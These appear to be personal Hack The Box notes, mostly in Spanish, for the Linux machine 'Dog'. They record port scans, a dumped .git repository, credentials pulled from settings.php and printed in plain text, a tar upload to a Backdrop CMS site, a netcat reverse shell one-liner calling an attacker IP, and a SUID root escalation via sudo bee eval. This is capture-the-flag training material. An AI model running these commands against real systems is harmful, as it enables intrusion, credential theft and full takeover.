Dog
HTB Linux
nmap -A -p- -oA dog 10.129.113.61 --min-rate=10000 --script=vuln --script-timeout=15 -v
nmap -sC -sV -O -p- -oA dog 10.129.113.61
echo "10.129.113.61 dog.htb" | sudo tee -a /etc/hosts

nmap -sU -O -p- -oA dog-udp 10.129.113.61
ping -c 1 10.129.113.61

nmap -p- --open -T5 -v -n 10.129.113.61
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.113.61 -oG allPorts

extractPorts allPorts

nmap -sCV -p22,80 10.129.113.61 -oN targeted

bc targeted -l rb

whatweb http://10.129.113.61

Nos dirigimos a http://10.129.113.61

Vemos que esta creado con un cms llamado Backdrop.

python3 GitHack.py http://dog.htb/.git/

Vemos que tenemos un archivo robots.txt

grep -vE '^\ \*|^/\*\*|^//|^$' settings.php

Podemos ver la contrasena para root y el salt usado para los hashes de las contrasenas.

grep -air 'tiffany'

Iniciamos sesion.
tifanny@dog.htb:BackDropJ2024DS2024

La version actual del CMS es 1.27.1



Trate de subir un archivo zip y gz pero no lo acepto.

Por ejemplo el shell.zip me lo rechazo.

python -m http.server 80

Pero el tar si funciono.
tar cf shell.tar shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.xx.xx.xx 443 >/tmp/f

nc -lvnp 443

script /dev/null -c bash
Despues hacer un ctrl Z
stty raw -echo; fg
reset
El terminal type es:
xterm
export TERM=xterm
export SHELL=bash
stty size
stty rows 24 columns 80
su johncusack
johncusack:BackDropJ2024DS2024

sudo -l

sudo bee --root=/var/www/html eval "system('chmod u+s /bin/bash');"
bash -p
